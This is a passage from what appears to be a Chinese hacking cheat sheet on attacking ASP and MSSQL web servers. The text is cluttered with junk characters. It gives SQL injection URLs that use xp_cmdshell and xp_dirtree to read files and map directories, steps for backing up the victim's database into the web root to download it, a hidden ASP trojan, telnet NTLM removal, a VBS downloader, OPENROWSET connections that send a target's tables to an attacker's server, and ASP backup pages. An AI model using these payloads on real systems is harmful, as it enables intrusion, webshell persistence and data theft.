, Z8 y; [8 Y/ o% ^" u1 {然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下: 6 |6 p5 H8 u/ \& q, ]declare @dirname varchar(255);set @dirname='d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname; T! o1 f! ]$ f+ [- f+ w( V3 c) j/ s0 N
当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。8 |, d" Y" i9 s7 J0 S+ J
) o+ `' E+ @1 v" r0 h2 W现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:0 `0 r* A; f, Y. U0 \' {' D
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)+ N* v; n$ o$ L+ d
如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。3 f; C: i0 m! T9 L3 [
2 J# u$ Y$ V! {- q8 n4 ^; R现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。& f- D f0 G/ t5 T8 M: i3 n
1 h: X0 ]- y+ \, Q/ C: z9 J现在,我们用同样的方法,再建立第3个临时表:( o: E& g8 w* p% {% T
;create table temp2(dir nvarchar(255),depth varchar(255));-- / E7 ` e+ _: ^& \5 ^8 r( ?( [3 u/ n0 C6 X
然后把从D盘的website下的所有目录存到temp2中,语句如下:* \' G; v* l+ }( {4 u1 I
declare @dirname varchar(255);set @dirname='d:\website\'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname 9 Q8 \$ t/ v* w; k# c# S当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。 4 [/ ^# z# O# E7 N# Z5 m% U( R: L( H I3 O! r% U
现在,我们用同样的方法判断该目录是否为根目录: % Y- n& [, H9 i" i; ~; D2 iand (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)/ r8 w" d7 @9 x" ]! y3 D
如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。. C a9 Q( d) u0 v w5 S
' _% O0 L, ^4 M0 e* I. a
5 N* a/ g6 g, T! q4 P* f用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:\website\www ' y! o8 A/ f' u1 V然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。 8 q' N- g6 b1 S! V* G+ s/ v& s' l3 I& H z7 ?& p z
下载完数据库后要记得把三个临时表drop掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。 : w; s) ~! U) d# n, x6 p) q D0 V$ F) L' U
21、win2000下将WEB用户提升为系统用户权限,需要有管理员的权限才能执行: . \; c; P( y3 {8 y1 X- jc:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll" "C:\winnt\system32\inetsrv\asp.dll" ' w* |( H% w9 p0 i5 W m # q1 x7 |* @1 f( a( o% R' K. kcscript C:\Inetpub\AdminScripts\adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\windows\system32\idq.dll" "C:\windows\system32\inetsrv\httpext.dll" "C:\windows\system32\inetsrv\httpodbc.dll" "C:\windows\system32\inetsrv\ssinc.dll" "C:\windows\system32\msw3prt.dll" "C:\windows\system32\inetsrv\asp.dll" ; C% D9 O/ S( ?! }* ]0 p 7 h6 j: ~" D3 o9 d. ^2 R查看是否成功:1 E& w2 V6 C0 j. @, \
c:\>cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps4 C7 ?8 g; r9 D
; A" ?2 |' S5 G0 _- A7 d$ n' iMicrosoft (R) Windows Script Host Version 5.6 . {% o: v$ N0 g: ?+ L! x版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。4 v# x$ {6 c( E% ^
inprocessisapiapps : (LIST) (6 Items)/ z5 x* j* [7 [0 d" Q. p
"C:\WINNT\system32\idq.dll" " z! g9 L: {- p6 m0 }- j A"C:\WINNT\system32\inetsrv\httpext.dll" $ n' ~" D4 q+ a& e0 j5 m: D3 ~"C:\WINNT\system32\inetsrv\httpodbc.dll" & ?- V4 \% R/ w. _. } _"C:\WINNT\system32\inetsrv\ssinc.dll"+ d1 V: h2 h1 f6 N
"C:\WINNT\system32\msw3prt.dll"6 L3 s f* P. Z8 s# l, y. h
"c:\winnt\system32\inetsrv\asp.dll"( F2 i, x% a& l3 r
$ l: {- G- w. f; }) Y22、如何隐藏ASP木马: ) } |3 }: j- e- j V9 B/ Q建立非标准目录:mkdir images..\; u' s2 S- M) s& B
拷贝ASP木马至目录:copy c:\inetpub\wwwroot\dbm6.asp c:\inetpub\wwwroot\images..\news.asp, \. p& C0 c* a' T' W9 j5 n2 _
通过web访问ASP木马:http://ip/images../news.asp?action=login6 G9 F$ p, J/ I. ?7 M7 a6 M
如何删除非标准目录:rmdir images..\ /s . A" Y C& b% f' i7 Y7 O + `# Z4 X4 l& G4 g$ T23、去掉tenlnet的ntlm认证:4 e: q9 d/ }/ x
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'— 4 }- V$ L. ~5 @: K \& O/ c% k4 N, D# T2 N9 f' g
24、用echo写入文件下载脚本iget.vbs: 7 d% t% L: |% l' d$ ~5 V% J, k(1)echo Set x= createObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:\iget.vbs ' k' }- \# i+ D6 m& x) t ' D' [7 K4 ?4 ~/ N# l5 I" S9 o(2)c:\>cscript iget.vbs http://127.0.0.1/asp/dbm6.asp dbm6.asp$ E2 Y1 x4 s, C/ L2 }; t6 g- V) d
& V' C" s r0 G; k3 e$ _& w! P. l0 Q4 K8 U- a0 N
25、手工建立IIS隐藏目录的方法:" P& h. S. K7 `6 e7 f, C8 u5 O* {
? 查看本地虚拟目录列表:cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/1/root / g% p& c% E9 j' R? 新建一个kiss目录:mkdir c:\asp\kiss ! G3 j1 s! Z# V0 S' e7 x! o6 q? 建立kiss虚拟目录:cscript.exe c:\inetpub\AdminScripts\mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:\asp\kiss" 0 r. L* t8 t- Q0 ^: O! C8 }& s4 U
? 为kiss目录加执行和写权限:) m j5 F) N7 T8 ?3 ?, \1 I
cscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s: 6 I+ Z9 `1 ?4 y4 Y6 fcscript.exe c:\inetpub\AdminScripts\adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:; t! v1 ^! Z ?8 J; n" l8 v
? ?:Cscript c:\inetpub\AdminScripts\adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false) |1 W" V$ d/ D- C2 c7 G) s
? 访问:http://127.0.0.1/kiss/test.asp- ]' U! J p' X5 F6 x+ o3 f* @
( R4 p0 }. v# C0 X! ~! o
- ?: Y! |5 R C X5 f# t/ g; m% @
& @! {4 j) o! k" u/ B& f26、使用openrowset()连回本地做测试:" U7 |) E9 \- u' ~
select a.*" ~2 C% _5 x" v4 s/ j
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',' v. H7 G' o2 A% F( B& ?- g
'select * FROM [dvbbs].[dbo].[dv_admin]') AS a- [/ _% | Q; _! V: u/ @
3 [& r, F+ u: v$ c* xselect * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',6 ?4 l v8 ?3 f& ?
'select * FROM [dvbbs].[dbo].[dv_admin]'): G( D+ Z3 r; U* v, U
3 N. I+ h' w5 p* m
27、获得主机名: : I6 C3 t! P; w! w# D% shttp://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--& S, M2 t/ W* L7 x1 |, p
select convert(int,@@servername)1 Z T: M9 Z/ R
select @@servername9 ?# j# g* ?* z4 f( W
+ A6 s5 o" J) X. \
28、获得数据库用户名:$ B( I% ~& Z8 `; w+ L http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--: O+ u" T8 Z' [% s$ H) Q' i) j http://www.19cn.com/showdetail.asp?id=49 and user>0; l: P6 D2 m+ x8 H f! t5 p, ]
select user ( }# ]9 O+ L8 c( b& ]: r* z4 Z( K, Y9 B' C- Q, x2 a1 G
29、普通用户获得WEBSHELL的方法之二: . f% ~, F3 t9 a( P% z? 打包: $ @3 F9 ]. `7 _% A% T8 ^2 UEXEC [master].[dbo].[xp_makecab] 'c:\test.rar','default',1,'d:\cmd.asp'2 ]2 `7 e* A2 a2 I7 J
解包,可以用于得到webshell:7 U0 E6 V" O; t5 {9 {( }
? EXEC [master].[dbo].[xp_unpackcab] 'C:\test.rar','c:',1, 'n.asp'4 H- k) c$ A8 x g- ]
? 读任意文件内容,要求有master的dbo权限: 1 D9 n* i7 T3 h% B( o2 S9 TEXEC [master].[dbo].[xp_readerrorlog] 1,'c:\cmd.asp' ; u$ ^* x% i0 p0 }6 A3 T& [4 ^% B2 `1 `. j7 b
30、sa 权限下已知web路径直接备份数据库到web路径下 w- Z+ w# b1 P& n
( g/ ~# f z* b; n http://www.XXXX.com/FullStory.asp?id=1;backuup database 数据库名 to disk='c:\inetpub\wwwroot\save.db' 则把得到的数据内容全部备份到WEB目录下,再用HTTP把此文件下载(当然首选要知道WEB虚拟目录)。- d5 o8 N- f! W9 s$ N! y0 T
+ V) G3 T5 G0 j
? 遍历系统的目录结构,分析结果并发现WEB虚拟目录,先创建一个临时表:temp) R) d8 W H% o8 a http://www.XXXX.com/FullStory.asp?id=1;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--* D! z0 y, @% k! b( e$ B) Y% v
? 接下来:我们可以利用xp_availablemedia来获得当前所有驱动器,并存入temp表中: $ B( y- \& t! K1 _5 M$ {http://www.XXXX.com/FullStory.asp?id=1;insert temp exec master.dbo.xp_availablemedia;--4 `8 _3 [1 R$ O/ m- S( R+ x
? 我们可以通过查询temp的内容来获得驱动器列表及相关信息或者利用xp_subdirs获得子目录列表,并存入temp表中:* v$ P' q- y6 g http://www.XXXX.com/FullStory.asp?id=1;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- # ~ v8 ?, B* P* e4 z$ C? 我们还可以利用xp_dirtree获得所有子目录的目录树结构,并寸入temp表中: 5 y( N8 s: y. C3 Uhttp://www.XXXX.com/FullStory.asp?id=1;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 这样就可以成功的浏览到所有的目录(文件夹)列表. B: r7 W& ?# ]: k# W+ r9 D
? 如果我们需要查看某个文件的内容,可以通过执行xp_cmdsell:;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';--7 O* w7 B& f1 J9 M
? 使用'bulk insert'语法可以将一个文本文件插入到一个临时表中。如:bulk insert temp(id) from 'c:\inetpub\wwwroot\index.asp' 浏览temp就可以看到index.asp文件的内容了!通过分析各种ASP文件,可以得到大量系统信息,WEB建设与管理信息,甚至可以得到SA帐号的连接密码。 I$ j& C" c. H: J4 B F: O) G, j: q+ ~/ b! M( Z. W
31、一些sql中的扩展存储的总结: 5 `2 @. K2 m- P" M: Z$ Exp_availablemedia 显示系统上可用的盘符'C:\' xp_availablemedia 2 @# A! y- x `* y# bxp_enumgroups 列出当前系统的使用群组及其说明 xp_enumgroups ( y+ l: ?% C2 Exp_enumdsn 列出系统上已经设置好的ODBC数据源名称 xp_enumdsn; X4 ~! E6 J5 b `: G( o
xp_dirtree 显示某个目录下的子目录与文件架构 xp_dirtree 'C:\inetpub\wwwroot\'3 N4 ^7 s ~0 V# t
xp_getfiledetails 获取某文件的相关属性 xp_getfiledetails 'C:\inetpub\wwwroot.asp' . R t/ k! O( Q$ j, R$ idbp.xp_makecab 将目标计算机多个档案压缩到某个档案里所压缩的档案都可以接在参数的后面用豆号隔开 dbp.xp_makecab 'C:\lin.cab','evil',1,'C:\inetpub\mdb.asp'( u# `4 U4 G/ `0 L
xp_unpackcab 解压缩 xp_unpackcab 'C:\hackway.cab','C:\temp',1$ z! Q- i/ W0 F- Q
xp_ntsec_enumdomains 列出服务器域名 xp_ntsec_enumdomains" k! j# V p. b! ~- I+ v
xp_servicecontrol 停止或者启动某个服务 xp_servicecontrol 'stop','schedule'& i& i7 m) l: o5 [9 [8 y
xp_terminate_process 用pid来停止某个执行中的程序 xp_terminate_process 123 ) s& n, s5 O5 h# x/ p f' Cdbo.xp_subdirs 只列某个目录下的子目录 dbo.xp_subdirs 'C:\' X3 E( j" Z1 ~3 @$ U& W
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32、 ) l s# X5 k3 t/ `3 SUSE MASTER 0 c- V" E0 R3 C: `* JGO; O. Y; P' U7 x7 D4 p& b
create proc sp_MSforeachObject 3 E6 [+ E! V+ D, U; y# ~) T@objectType int=1,- h* f+ k/ p; K: F" D
@command1 nvarchar(2000), & o" Z% j+ v9 `, q@replacechar nchar(1) = N'?',. C; ]8 V) ~5 B* H6 s
@command2 nvarchar(2000) = null,! u" Z j1 Z3 P) ~8 ^
@command3 nvarchar(2000) = null, 3 Z5 H' Z. c) U; S2 C D; P1 N@whereand nvarchar(2000) = null,, B A4 p7 ?+ M; ]) G# Q1 D* r! \
@precommand nvarchar(2000) = null, 6 V; J0 i7 ]# r* h@postcommand nvarchar(2000) = null5 H5 M) T. h- y% d. I% i" [5 i
as4 y) {; t! W; |* `
/* This proc returns one or more rows for each table (optionally, matching @where), with each table defaulting to its' ?- U" d& @% R0 @" ]; ^1 {
own result set */ ; V5 U! Y; N: z0 D# G/* @precommand and @postcommand may be used to force a single result set via a temp table. */ 9 n7 m1 n' l4 J- U/* Preprocessor won't replace within quotes so have to use str(). */ ) }) G1 @1 Z) g) r$ r( c+ xdeclare @mscat nvarchar(12)5 Y( Y7 b0 k9 a6 o
select @mscat = ltrim(str(convert(int, 0x0002))) - r" ^$ n& {/ Bif (@precommand is not null); J; x6 e/ S5 O! W/ U) \8 r, q
exec(@precommand) 9 d5 ]: N0 b! ~4 g# w: y/* Defined @isobject for save object type */ " d2 z) P& R3 ^4 s( l8 XDeclare @isobject varchar(256) ! }4 ?. `4 e5 ~ t3 Q% U) A2 Uselect @isobject= case @objectType when 1 then 'IsUserTable'3 }3 C* l! h8 ~/ I8 F( J4 k
when 2 then 'IsView' 7 a d! U* h& n+ X7 d) T* Nwhen 3 then 'IsTrigger'5 X9 o' u9 o; r
when 4 then 'IsProcedure' % F, N. z3 f& z& z, E) _when 5 then 'IsDefault' / ^4 {( d( {- \# Y, {/ v+ c- P! c# dwhen 6 then 'IsForeignKey' ( q+ N0 T5 N% V [: a8 i3 \8 @when 7 then 'IsScalarFunction': P2 S! `/ @4 u8 v
when 8 then 'IsInlineFunction' + X/ g, j! P; @' \' P( `when 9 then 'IsPrimaryKey' 9 E. h8 Q. S1 b! h3 u' pwhen 10 then 'IsExtendedProc' * M% r. a2 q7 j% ]8 a: Dwhen 11 then 'IsReplProc' 3 P. T2 E- `5 N3 D1 |9 y$ m( B8 e$ jwhen 12 then 'IsRule' 5 S1 G: a2 B* A+ Z end) c! l4 W+ _2 n
/* create the select */ & z$ m) E+ Y) T3 r* [/* Use @isobject variable isstead of IsUserTable string */) k- f. g" ]8 `) q
EXEC(N'declare hCForEach cursor global for select ''['' + REPLACE(user_name(uid), N'']'', N'']]'') + '']'' + ''.'' + ''['' +% s1 C$ ]+ K/ C) q1 Z
REPLACE(object_name(id), N'']'', N'']]'') + '']'' from dbo.sysobjects o ' . U# _2 l0 M$ @$ ~$ V5 Z; q+ N' where OBJECTPROPERTY(o.id, N'''+@isobject+''') = 1 '+N' and o.category & ' + @mscat + N' = 0 '# y: K* p' i( `
+ @whereand) ' x) C7 o" u4 ~5 W8 C$ q2 ~declare @retval int , d3 x5 C& A7 f8 Y" O: a) Qselect @retval = @@error$ G0 }; t1 k1 M6 E8 L! n
if (@retval = 0)/ H3 q/ j! E' k2 W/ B0 l
exec @retval = sp_MSforeach_worker @command1, @replacechar, @command2, @command3, `4 l: v8 f* j$ O
if (@retval = 0 and @postcommand is not null)( m* {: ]- d j. A1 ?- Q
exec(@postcommand) 8 _; q# x0 p9 r& ^5 l) s+ R k; @return @retval* ?' I [5 P* p% O0 k
GO # O$ G# b/ U) i" Z' ~' X4 M" I2 z1 b
) Q" x* c9 }& n1 C/ g7 E
/* 1 t6 R' |% V+ a, b1。获得所有的存储过程的脚本: 1 X; o- O2 v- V* yEXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=4 . [4 Y) c3 ~3 v2。获得所有的视图的脚本: 4 o( S; I, u j9 E# C5 ~: `EXEc sp_MSforeachObject @command1="sp_helptext '?' ",@objectType=2 $ Q3 S. C& S: |% L4 ?0 Z( A. U6 f' K$ f1 ^
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=1 9 {6 w) v/ X" V* ~! T3 V bEXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=2 , n1 R& t6 Q: l* l- OEXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=38 N* _% d) k. E* U
EXEc sp_MSforeachObject @command1="sp_changeobjectowner '?', 'dbo'",@objectType=4 ' Y6 [1 q5 x" p$ }*/ / l9 s1 K3 x6 C9 {- F0 G & }: @0 l" x G# Q: d" F9 [33、DB_OWNER权限下的数据库备份方法 6 ~6 e2 C# x& \ t6 R: O用openrowset吧。反连到自己的数据库机器,~先在本地建个跟目标机器一样结构的表~字段类型使用nvarchar.然后用海洋连接对方的SQL数据库,在查询分析那里执行 0 F3 R+ X" `, U1 Qinsert into OPENROWSET ('sqloledb','server=你数据库服务器的IP;uid=user;pwd=pass;database=dbname; ','select * from 你建立的表) select * from 对方的表—& } x9 _; E' A
要是数据量太大的话就看看他数据库里有没有自动编号的字段.select * from 表名 where id>1004 J( B5 y. e3 [
这样来弄吧 ; ^# E% t6 [, a" x: z要是和WEB同台的话,直接将库BAK到WEB目录下回来就OK啦。。。不过前提库不能太大,超过2G的话SQL就超时了' t! U4 Y8 x; B) p1 k
如果是SA权限可以利用下面的两个ASP程序来备份数据库: ( C5 \& T& I0 l# J6 D0 B4 z, Z, ?) L4 G& ?& \3 a8 z% P. B |; |
sqlbackup1.asp6 C( G! u- d1 r: x% F
<HTML>7 [- R7 f3 k0 ^' n7 r1 R
<HEAD>( e5 J* H e" V a1 `
<TITLE>SQL Server 数据库的备份与恢复</TITLE> 1 O: Y8 A6 |' m3 q<meta http-equiv="Content-Type" content="text/html; charset=gb2312">1 F- Y; C2 `* _' q/ _4 b" B4 H5 D9 ]
</HEAD>2 J6 o1 M; g: \
<BODY> 2 i* R, v5 x# ^0 u<form method="post" name=myform> ( X9 f0 R) P4 b& E选择操作:<INPUT TYPE="radio" NAME="act" id="act_backup" value="backup"><label for=act_backup>备份</label> # A# ~) h! M8 n9 r+ c<INPUT TYPE="radio" NAME="act" id="act_restore" value="restore"><label for=act_restore>恢复</label> / d7 o) R8 U, T# e0 J. |3 p<br>数据库名:<INPUT TYPE="text" NAME="databasename" value="<%=request("databasename")%>"> G8 @6 N" n# `& i, U0 b) }
<br>文件路径:<INPUT TYPE="text" NAME="bak_file" value="c:\1.exe">(备份或恢复的文件路径,备份成EXE主要为了方便下载,活活..)<br>6 `& ?, L( r+ \" v; F5 H0 f
<input type="submit" value="确定"> 9 U1 a% ?* u7 }3 X</form> ; [6 Y9 J7 t: b5 [<%3 J: X) x$ E6 y3 `3 [* ~- \
dim sqlserver,sqlname,sqlpassword,sqlLoginTimeout,databasename,bak_file,act! Q* D/ d( o- V
sqlserver = "localhost" 'sql服务器 : K: o0 V- \9 j9 B7 T* Asqlname = "sa" '用户名% O- b- M' u" W- w$ p
sqlpassword = "数据库密码" '密码 ) p5 d( {) _, a: W/ ?sqlLoginTimeout = 15 '登陆超时 ' y2 o! S$ |6 @0 o- ?' X/ Pdatabasename = trim(request("databasename"))* t _( P6 a+ R# W; i
bak_file = trim(request("bak_file"))8 m( e5 @1 V M+ ?0 N9 f
bak_file = replace(bak_file,"$1",databasename) ; u6 a9 X2 J+ {& w, b. Aact = lcase(request("act"))5 R; U V/ j, J- m: n
if databasename = "" then' x# H6 s* o0 ?2 N7 Z5 @$ p2 w/ r$ ~
response.write "input database name" 3 ]/ t) t% B3 T" h( E) y% selse ( Y1 z o5 E% u( B/ ]+ B& P2 Nif act = "backup" then' @1 g! Q- ~/ E+ W
Set srv=Server.createObject("SQLDMO.SQLServer")4 d( R) U! [. ]- D+ ]
srv.LoginTimeout = sqlLoginTimeout! v9 b/ ^$ [4 P' D1 t
srv.Connect sqlserver,sqlname, sqlpassword + m+ Y2 R! F' pSet bak = Server.createObject("SQLDMO.Backup")4 q0 t B0 X7 d( c
bak.Database=databasename 7 P; X _4 G7 g3 B6 f' y E# vbak.Devices=Files2 t& s2 \9 q) J, i' o6 |; ?# {
bak.Files=bak_file . c1 _3 u! U' b" c$ V, [bak.SQLBackup srv" F% c2 Q- o( W: v
if err.number>0 then , P* c9 S9 E( m9 Oresponse.write err.number&"<font color=red><br>"4 |3 W) B8 ]' z- X
response.write err.description&"</font>" , x; y9 w2 }0 J) _ x) s/ e" |- yend if + F( a; k# P4 a; D* SResponse.write "<font color=green>备份成功!</font>" % \% T: S3 s- G% T" u& R0 ]2 y3 Pelseif act = "restore" then 4 b, E5 E8 T h3 ?% z$ ]'恢复时要在没有使用数据库时进行!2 [9 g8 D0 ~$ U/ c0 v
Set srv=Server.createObject("SQLDMO.SQLServer") m/ i* e: [" T) W5 X1 V: l+ }9 _srv.LoginTimeout = sqlLoginTimeout $ r6 W- M& g7 g6 ?0 ~$ Bsrv.Connect sqlserver,sqlname, sqlpassword . f" t+ T8 U# ~% |Set rest=Server.createObject("SQLDMO.Restore") / A( F( u- w8 p- o, ^, x8 N1 K. Zrest.Action=0 ' full db restore" C# G" |* H9 a4 S
rest.Database=databasename; {7 C0 T! r" J- W6 W* c
rest.Devices=Files $ p, e+ _$ d" _2 a* K: m$ R! M Grest.Files=bak_file# p% [- v) `; A$ _! j; y8 m
rest.ReplaceDatabase=True 'Force restore over existing database7 ^& F) \, T+ ]6 z, U; ?: c
if err.number>0 then # d- U( i( |4 s( Sresponse.write err.number&"<font color=red><br>" 3 M6 f0 p {4 n3 a% @response.write err.description&"</font>" 7 B; I" s) l1 @( Z3 \end if, o$ c6 X: m" m: L& T- |8 e
rest.SQLRestore srv+ t+ Z N# h& h/ E5 S9 s7 X
7 g/ D% [! A! |: `" F' h
Response.write "<font color=green>恢复成功!</font>" 2 Y& s$ J5 _; L! t( E& lelse8 }. b j; Q$ P! `) L
Response.write "<font color=red>没有选择操作</font>" $ V$ }6 m* N: y! C% s9 gend if 6 f7 e+ G0 c3 u3 D8 zend if : y4 T, u) Y4 j%>7 o+ H$ R" l9 r% B( m# X
</BODY>3 W+ s; [- g6 W! s2 ~: q+ J
</HTML>% r( J. B& j( y4 S
/ Z4 v! ^9 ]1 C% ~! l1 l9 e5 Asqlbackup2.asp - _* ~% i( u; Z! t4 L2 ]+ u$ k' g<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>" N4 s8 H+ o3 B; V$ H% [ g
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">! @2 v4 s; o3 ]
<html xmlns="http://www.w3.org/1999/xhtml"> 9 s3 Y' H. B) P' k0 P<head>, E4 o! H( R9 d/ K' V7 ^
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> : Z) [+ A7 {: v5 ]0 i& r<title>采飞扬ASP备份MSSQL数据库程序 V1.0--QQ:79998575</title> ( X1 Z) ?9 Q4 \</head>( E; L; P' m' I: [0 }! J
<style> / v# e+ n0 F8 n WBODY { FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; scrollbar-face-color:#E4E4F3; scrollbar-highlight-color:#FFFFFF; scrollbar-3dlight-color:#E4E4F3; scrollbar-darkshadow-color:#9C9CD3; scrollbar-shadow-color:#E4E4F3; scrollbar-arrow-color:#4444B3; scrollbar-track-color:#EFEFEF;}TABLE { FONT-SIZE: 9pt; FONT-FAMILY: "Courier New"; BORDER-COLLAPSE: collapse; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: none; border-bottom-style: none; border-left-style: solid; border-top-color: #d8d8f0; border-right-color: #d8d8f0; border-bottom-color: #d8d8f0; border-left-color: #d8d8f0;}.tr { font-family: "Courier New"; font-size: 9pt; background-color: #e4e4f3; text-align: center;}.td { font-family: "Courier New"; font-size: 9pt; background-color: #f9f9fd;}.warningColor { font-family: "Courier New"; font-size: 9pt; color: #ff0000;}input { 9 u# h/ ~6 j: `) d, rfont-family: "Courier New";( r" K7 q0 g, ]+ T" A& _0 y
BORDER-TOP-WIDTH: 1px; 5 D: ]. r- D9 _# g- DBORDER-LEFT-WIDTH: 1px;5 L+ b4 W t6 j5 W( ^1 j1 y
FONT-SIZE: 12px;& ]2 n, m) o# I
BORDER-BOTTOM-WIDTH: 1px;9 H1 L- N/ R2 R1 j
BORDER-RIGHT-WIDTH: 1px;7 w) z1 _ F: }2 g1 ~# w
color: #000000; # e2 O7 q6 Q# i+ h3 O' o}textarea { font-family: "Courier New"; BORDER-TOP-WIDTH: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 12px; BORDER-BOTTOM-WIDTH: 1px; BORDER-RIGHT-WIDTH: 1px; color: #000000;}.liuyes { / m2 r/ D8 _4 Z0 f) F+ I5 _background-color: #CCCCFF; 3 [2 _4 Y z/ L6 r0 b}& e$ l9 u* L6 D1 q% s. B5 S
A:link { FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none;}tr { font-family: "Courier New"; font-size: 9pt; line-height: 18px;}td { font-family: "Courier New"; font-size: 9pt; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; border-top-color: #d8d8f0; border-right-color: #d8d8f0; border-bottom-color: #d8d8f0; border-left-color: #d8d8f0;}.trHead { font-family: "Courier New"; font-size: 9pt; background-color: #e4e4f3; line-height: 3px;}.inputLogin { font-family: "Courier New"; font-size: 9pt; border: 1px solid #d8d8f0; background-color: #f9f9fd; vertical-align: bottom;}</style> & O7 @/ }' i' U" X4 S2 f<body> ! r) t+ K* h0 I3 }& y I<form method="post" name="myform" action="?action=backupdatabase">: ]5 ]8 t: ^1 }9 Q* |0 I
<table width="686" border="1" align="center"> 7 d( p( B+ m. |- p* k7 u" z<tr> 1 g7 g: f8 f1 G5 K5 t- u* K' w<td width="613" height="30" align="center" bgcolor="#330066"><font color="#FFFFFF">采飞扬ASP备份MSSQL数据库程序 V1.0 </font></td>3 H4 A$ k& x! y$ v
</tr>% o! l4 [6 O% e; G5 p0 _4 i
<tr> Z; a% W1 }* @8 {9 x<td>选择操作: $ {! Y) b8 ]" E0 Y! |- ?' o <input type="radio" name="act" id="act_backup"value="backup" />- y' Z# i! W1 k' G* y! P ~; O6 J6 B
<label for=act_backup>备份</label> h+ X- C+ c; x; ~; t
<input type="radio" name="act" id="act_restore" value="restore" />$ B, V/ j: z% y; u& R" i
<label for=act_restore>恢复</label></td>2 o4 {0 Q5 ]* v& W% \4 S9 K1 b
</tr>2 E/ G7 ^# O2 x& E. o
<tr> " \* y& L- w8 n' ^8 \% g% Y: X" y. @<td><label>SQL服务器: 6 d- n! x" d Z8 _! c5 d* ?4 G" d4 ] z) | <input type="text" name="sqlserver" value="localhost" />* W$ y9 O6 K& `' Z$ Z$ ` a: Q
</label></td> 8 [/ h! r6 V4 c2 w/ B</tr> $ v) G @8 i' q" Q<tr>3 {/ S2 \! R6 o
<td><label>用户名: 8 `1 Y/ a. ?4 f+ S9 L( P <input name="sqlname" type="text" value="sa" />. w! `8 a. Z# L2 ?1 u
密 码: $ @- r& `) b; h3 k7 l) r0 E<input type="text" name="sqlpassword" /> 9 _1 N7 {% L( n+ ?</label></td> $ Q! D( g7 p3 r1 K3 M) Y1 S</tr> ) Z0 d8 C, A3 ]1 Z; i. Q1 U<tr> . r! e# y6 n$ b/ z7 g9 d<td><label>数据库名:& |- Z0 C6 y6 ^' B
<input type="text" name="databasename" value="<%=request("databasename")%>" /> ) {& T6 L- @. j, [6 f</label></td>- P3 g1 J# }0 ?" ~9 d4 C* _
